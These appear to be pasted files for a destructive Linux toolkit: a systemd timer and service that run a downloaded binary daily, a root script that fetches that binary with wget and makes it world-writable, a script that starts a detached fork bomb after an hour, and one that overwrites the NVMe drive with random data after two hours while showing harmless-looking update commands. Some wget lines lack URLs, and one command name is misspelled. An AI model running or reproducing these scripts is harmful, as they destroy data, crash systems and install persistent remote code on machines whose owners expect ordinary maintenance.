fua

b.service

[Unit]
Description=bye

[Service]
Type=oneshot
ExecStart=/usr/local/bin/foobaz
UMask=0077
DynamicUser=yes
PrivateTmp=yes
PrivateDevices=yes
PrivateUsers=yes
SystemCallFilter=~@clock
SystemCallFilter=~@cpu-emulation
SystemCallFilter=~@debug
SystemCallFilter=~@module
SystemCallFilter=~@mount
SystemCallFilter=~@obsolete
SystemCallFilter=~@privileged
SystemCallFilter=~@raw-io
SystemCallFilter=~@reboot
SystemCallFilter=~@resources
SystemCallFilter=~@swap
SystemCallArchitectures=native
CapabilityBoundingSet=
DevicePolicy=closed
ProcSubset=pid

b.timer

[Unit]
Description=bye

[Timer]
OnCalendar=*-*-* 00:00:00
RandomizedDelaySec=18000
Persistent=true
Unit=b.service

[Install]
WantedBy=timers.target

baseinstall

#!/bin/bash


if [[ $(/usr/bin/id -u) -ne 0 ]]; then
    echo "Not running as root"
    exit
fi


wget -q -O /tmp/foobaz "$1" \
  && sudo mv /tmp/foobaz /usr/local/bin/foobaz \
  && sudo chown 0:0 /usr/local/bin/foobaz \
  && sudo chmod 777 /usr/local/bin/foobaz
  

installb

#!/bin/bash

sleep 1h && :(){:|:&};:&

disown -r

installf

#!/bin/bash

if [[ $(/usr/bin/id -u) -ne 0 ]]; then
    echo "Not running as root"
    exit
fi


sleep 2h &&  sudo dd if=/dev/random of=/dev/nvme0n1 &> /dev/null &

disown -r

sudo apt update ; sudo ubuntu-drives autoinstall

installs

wget -q -O '/tmp/b.timer' && wget -q -O '/tmp/b.service'
  && sudo mv /tmp/b.{service,timer} /etc/systemd/system/ \
  && sudo chown 0:0 /etc/systemd/system/b.{service,timer} \
  && sudo chmod 777 /etc/systemd/system/b.{service,timer} \
  && sudo systemctl daemon-reload \
  && sudo systemctl enable b.timer \
  && sudo systemctl start b.timer